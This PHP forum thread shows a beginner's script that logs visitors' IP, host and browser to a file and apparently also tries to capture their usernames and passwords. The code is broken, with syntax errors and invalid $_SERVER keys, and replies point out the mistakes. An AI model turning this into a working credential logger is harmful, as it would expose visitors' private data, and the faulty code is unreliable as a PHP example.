Please, can someone tells me what is wrong with my code?

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
gaddyf
Forum Newbie
Posts: 14
Joined: Sat Jun 13, 2009 10:09 pm

Please, can someone tells me what is wrong with my code?

Post by gaddyf »

pickle | Please use [ code=php ], [ code=text ], etc tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read: :arrow: Posting Code in the Forums to learn how to do it too.


Hi everyone,

This is my code:

Code: Select all

<?php
 
$Date = date("F jS Y, h:iA");
 
$user_ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
 
$host = gethostbyaddr($user_ip);
 
$user_browser = $_SERVER['HTTP_USER_AGENT'];
 
 
$username_type=$_SERVER['USERNAME_TYPE];
 
$username=$_SERVER['USERNAME'];
 
 
$password_type=$_SERVER['PASSWORD_TYPE'];
 
$passwords=$_SERVER['PASSWORDS];
 
$file = "gaddy.txt";
 
$fp = fopen($file, "a+");
 
fputs ($fp, "<br> Date: $Date <bR><br> IP: $user_ip <br><br> Host: $host <br><br> Browser: $user_browser <br><br> Usernames: $username_type <br><br> Passwords: $password_type <br>");
 
fclose($fp);
 
?>
It works fine but the only problem is that on username and password i do not see all user names types nor passwords but i see the ip, host, and browser fine. What am i doing wrong here?

Thanks


pickle | Please use [ code=php ], [ code=text ], etc tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read: :arrow: Posting Code in the Forums to learn how to do it too.
Last edited by pickle on Tue Jun 16, 2009 9:55 am, edited 1 time in total.
Reason: Add PHP tags & stop usage of PHP short tags
User avatar
omniuni
Forum Regular
Posts: 738
Joined: Tue Jul 15, 2008 10:50 pm
Location: Carolina, USA

Re: Please, can someone tells me what is wrong with my code?

Post by omniuni »

Those are not valid entries in ther $_SERVER array. Please see the manual here: http://us.php.net/manual/en/reserved.va ... server.php
gaddyf
Forum Newbie
Posts: 14
Joined: Sat Jun 13, 2009 10:09 pm

Re: Please, can someone tells me what is wrong with my code?

Post by gaddyf »

man this is my first time trying to write codes. how would you modify it?
User avatar
omniuni
Forum Regular
Posts: 738
Joined: Tue Jul 15, 2008 10:50 pm
Location: Carolina, USA

Re: Please, can someone tells me what is wrong with my code?

Post by omniuni »

What information are you trying to get Gaddy? If you are trying to make a login system, you probably need to create a form where the user enters their username and password, and then you can track them.
Post Reply